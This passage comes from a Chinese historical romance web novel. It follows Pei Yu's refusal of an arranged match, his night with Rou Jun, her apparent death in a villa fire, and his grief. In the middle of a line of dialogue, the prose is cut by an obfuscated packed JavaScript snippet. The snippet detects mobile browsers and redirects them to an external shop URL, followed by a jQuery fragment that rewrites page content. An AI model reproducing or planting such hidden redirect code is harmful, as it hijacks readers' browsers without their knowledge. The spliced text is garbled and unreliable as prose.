屋子里安静了一瞬。
裴夫人看着儿子,目光里有无奈,也有几分意料之中的疲惫。
“你这孩子。”她叹了一声,“怎么就这么犟呢?”
裴瑀没有说话。
“母亲不是不体谅你的心意。”裴夫人的语气软了几分,带着几分循循善诱的意味,“柔筠那孩子,我也不是不喜欢。她是个伶俐可怜的,本分、安生、不惹事,这些日子在府上也没有出什么岔子,可就是她的身份……”
裴夫人顿了顿,斟酌着措辞。
“她是从二公主府出来的,又是以这样的情形进的门,你若是真把她扶正了,外头的人会怎么说?即便是你不在意,柔筠又要面对多少的闲言碎语?”她看了儿子一眼,目光意味深长,“其实柔筠是个懂事的孩子,她未必就没有自知之明。”
“母亲。”裴瑀的唇角微微抿紧一瞬,眼底有什么东西沉沉地坠着,“无论如何,儿子都心意已决。”
两人就这样僵持了片刻。
最终裴夫人长长叹了口气。
“罢了罢了,我也不逼你。”她摆了摆手,像是妥协了,却还是含糊道,“只是雪凝那姑娘你到底见一见也无妨,也不是见了便要定下来,权当是结个善缘,那孩子我瞧着,对你还挺上心的。”
像是一拳打在棉花上,力道再大,也终究没有个结果。
裴瑀没有再反驳,却也没有应承,只是垂下眼帘,重新端起茶盏,默默抿了口茶。
裴夫人见状,便知此事没法再说下去,便转口说起了裴琢的饮食和调理,母子俩皆心不在焉地聊了几句,裴瑀便起身告辞了。
走到清溪院时,暮色已经渐隐了。
他在廊下站了一会儿,天边最后一抹晚霞也逐渐褪去,像晕开了浓淡的水墨,只剩下灰蒙蒙的一片。
他进屋时,柔筠仍旧在灯下绣着些什么,针线穿过布料,发出参差的声响。
“怎么又在绣东西?”他走过去,轻轻握住她一只手。
今早他将店铺的东西交给她,便以为她这会儿该是会在看账簿才是,做生意本是她喜欢且擅长的事。
那间在建州时他出征前交给她打理的店铺回来时生意已翻了一倍,即便后来她没在时,也依旧比从前要更经营有佳。
“想给你做身衣裳。”柔筠收回手,将手里的东西拿起来给他看,笑问,“你瞧瞧,这竹叶纹绣的如何?”
裴瑀有些意外,但很快便露出笑,“你的手艺,自然是好的。”
墨绿的竹叶,疏疏几片,点缀在天青色的素绸上,已有风骨,却并不张扬。
“那便好。”柔筠抿唇笑笑,垂下头,又继续拿起针绣起来。
屋中一时只有穿针引线的声音,更衬得安静。
裴瑀看着她的侧脸,灯下的她低着头,睫毛微微垂着,看不清眼底的神色。她的唇角还挂着一抹淡淡的笑意,只是似乎并不达心底。
“听说你今日去了公主府,可还顺利?”
柔筠的动作顿了一下,然而也只是一下,她便恢复了动作,针尖仍旧如常穿过衣料,牵出一条细细的线。
“自是顺利的,殿下说了,左右她也无聊,日后倘若无事我都可以去她那坐坐。”
“这样也好,如此许多谣言便也不攻自破了。”裴瑀思索了片刻,忽然道,“今日母亲找我,提了相看的事,我已拒了。”
柔筠的针尖插进衣料,没有再动。
她的低垂的眼睫颤了颤,语气低柔,“其实……你没必要为我做到如此。”
裴瑀心头一颤,“阿筠?”
柔筠没有动,也没有答。
裴瑀忽然伸手,握住了她那针的那只手,唤她:“阿筠。”
柔筠抿住唇,终于抬起头来,对上他的目光。
“我会处理好的,”他的目光是真切的坚定,还有一丝说不清道不明的隐忧,像是极力压制急切地想要向她证明什么,“你信我。”
可是不值得信任的,从不是他。
柔筠就这么看了裴瑀好一会儿。
今夜的烛火离得更近些,映在他眼底,亮亮的,带着暖意,像昨晚夜市的灯火,好看得不真切。
她弯了弯唇角,声音很轻、很柔,轻得几乎没有分量。
“好。”她道,“我信你。”
裴瑀将她紧紧揽入怀里。
自从柔筠入府以后,他总会这样揽着她。
就好像只有这样真切而又紧密的接触,才能给当下的一切赋予一种实感。
可她骗不了自己的心。
柔筠从裴瑀怀里扬起脸,目光细细在他面上描摹,停顿片刻,忽然凑过去在他侧脸轻轻落下一个吻。
裴瑀明显一怔。
随后在她盈满星光的眼神中,他的眸中倏地染上墨色,携着无法抑制的悸动在眸底漾开,温柔而炽热。
他的吻落了下来。
柔筠被迫微微仰起头。
他抬起了一只手,覆住后脑将她的脸轻轻往上托了托,指尖陷进她鬓边的碎发里。
唇齿交叠,轻柔辗转,却又带着不容分说的力道,裹挟沉重的爱意。
柔筠能听见裴瑀的心跳隔着衣料传过来,一下一下,比她预想的要快,似急似乱,带着微不可察的颤。
她的呼吸很快也跟着匆促起来,掌心抵在他胸口,指尖收拢,紧紧攥住了他的领口的衣料。
小小的绣榻并不能容纳两个人并排躺下,然而在灼烫交错的呼吸之下,紧窄的距离反将心贴心的二人之间融得更加熨帖。
裴瑀的手臂紧紧箍在柔筠腰间,几乎将她整个人嵌进自己怀里,揉进骨血。
他的呼吸落在她耳侧,温热而急促。
柔筠听见自己的心跳,怦怦如擂鼓,在这个寻常寂静的夜里,响得格外特别。
昆山玉碎,芙蓉泣露。
一颗带着温度的水珠顺着眼角滚落,啪嗒一声,坠在温热的榻上,很快又在体温的熨帖下,风干消失了痕迹。
……
就这样又平静地过了半个月。
二公主以消夏的名义,邀了些相熟的贵女前往城郊的清凉别庄小住,柔筠也在受邀之列。
临行前的早晨,柔筠不顾身上前一夜闹出来的疲惫,硬是起了身,替将要出门上值的裴瑀整了整衣领,又像往常一样妥帖地柔声叮嘱:“我不在的时候,你也记着莫要熬到太晚,公事是忙不完的,什么都没有身体要紧。”
“阿筠说的是。”裴瑀在她额头落下轻轻一吻,“等下我走了你再睡一会,玩得开心些。”
柔筠的目光始终没有从他的脸上移开,回过神来,笑着应了,“好。”
裴瑀很快便离开去上值。
柔筠目送着他的背影消失,才终于回到妆台前坐下,呆坐片刻,伸手打开了最下层的妆奁。
这层妆奁里面放着几支精致却不贵重的簪子,是夜市那日裴瑀特意买给自己,带着她一支一支挑过去的。
“簪这几支就好。”她淡声吩咐秋禾。
秋禾却有些迟疑,“姨娘,毕竟是公主相邀,是否该装扮得再郑重些?”
其实她更想说的是,该装扮得再体面些。这般一看便是路边街摊上买来的东西,如何能登大雅之堂。
柔筠表情纹丝未动:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17869018|208837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
按我吩咐的做。”
秋禾只好依言行事,另又备了几套“得体”的装扮备着,即便记着柔筠半个主子的身份,心里还是多少有些犯嘀咕。
*
别庄的聚会热闹了两日。
第三日午时,众人依旧相聚宴饮,酒过三巡时,庄子东边的一座小楼忽然起了火。
夏日天干物燥,这几日风又大,火势蔓延得极快,小楼位置偏些,待到丫鬟发现时,整座小楼已经几乎没法下脚,更不用提救人。
“柔筠呢?柔筠在哪里?”
正是二公主喊了这一句,众人这才发现,这位徐姨娘的卧房,正是那座小楼。
赵允灵望着这冲天的火光,脸色有些发白,强撑镇定地指挥底下人救火。可是火势终究太大,根本没人靠近得了。
消息传回国公府时,太阳已快落山。
这几日柔筠不在,裴瑀总觉得内心难安,几乎是整夜待在书房里,也没怎么睡好。
彼时裴瑀也正如前两日般在书房处理公务,忽见卫珂慌慌张张地冲进来,跪在地上,声音难掩颤抖:“主子……出事了,二公主别庄走水,姨娘、姨娘没能出来……”
笔尖的墨滴落下来,在纸上洇开一个墨色的圆。
裴瑀没有动。
他像是没有听懂卫珂的话,过了好几息,才慢慢抬起头,看向他。
“你说什么?”他的声音很平静,平静得异常。
卫珂额头贴着地面,声音隐隐发哽,“是二公主派人传来的消息……说庄子上走了水,姨娘住的那座楼烧了,人没救出来,已经……”
已经没了。
裴瑀缓缓站起身来。
“备马。”
“主子,这会城门——”
“备马!”
裴瑀的声音忽然拔高,像是什么东西在胸腔里炸开了。卫珂立刻闭上了嘴,转身便急匆匆地跑了出去。
待裴瑀赶到别庄时,已经是深夜了。
焦黑的废墟安静地堆叠在那里,周围燃着照亮的火把,隐隐还可见几缕青烟弥漫,空气中弥漫着呛人的焦糊味。
“人呢?”裴瑀的声音哑得像已病了。
“今日午宴时柔筠有些醉了,本宫便先让她回去歇着,哪知竟走了水……裴瑀,此事是本宫对你不住。”赵允灵攥着帕子的手微微发抖,眼底有些微红,抬手指向废墟旁一张临时支起的木案。
“奴婢有罪。”一旁站着的秋禾满面是泪,显见是受了极大惊吓,往地上一跪便不停磕头,浑身都哆嗦着,“回来之后姨娘说要小憩片刻,起来后想用些冰酥酪,让奴婢去和厨房吩咐一声,奴婢这才离了姨娘身边,实在不知怎会如此……公子恕罪,公子恕罪!”
裴瑀没有半点心思搭理旁人。
他顺着赵允灵手指的方向走过去,停在了那一张微微隆起的白布面前,手开始发抖。
裴瑀很想当做这一切都没发生,可是他不能。
他咬了咬牙,攥住白布的一角,缓缓掀开。
废墟前陷入一瞬间的死寂。
裴瑀看见了几片熟悉的衣服残片,看见了那眼熟的身形,也看见了那几截露出来的,烧得只剩半截的银簪。
簪头的花纹还可分辨,正是他亲手为她挑的那几只。
裴瑀听见自己的呼吸声,忽然变得很重、很急,像是被人扼住了喉咙。他的双手撑在木板的边缘,指节泛白,整个人突然弓下身,大口大口地喘息起来,像是被扔上岸干涸将死的鱼。
尘埃落定。
“阿筠。”他几乎听不见自己发出的声音。
也已经没人再会给他回应。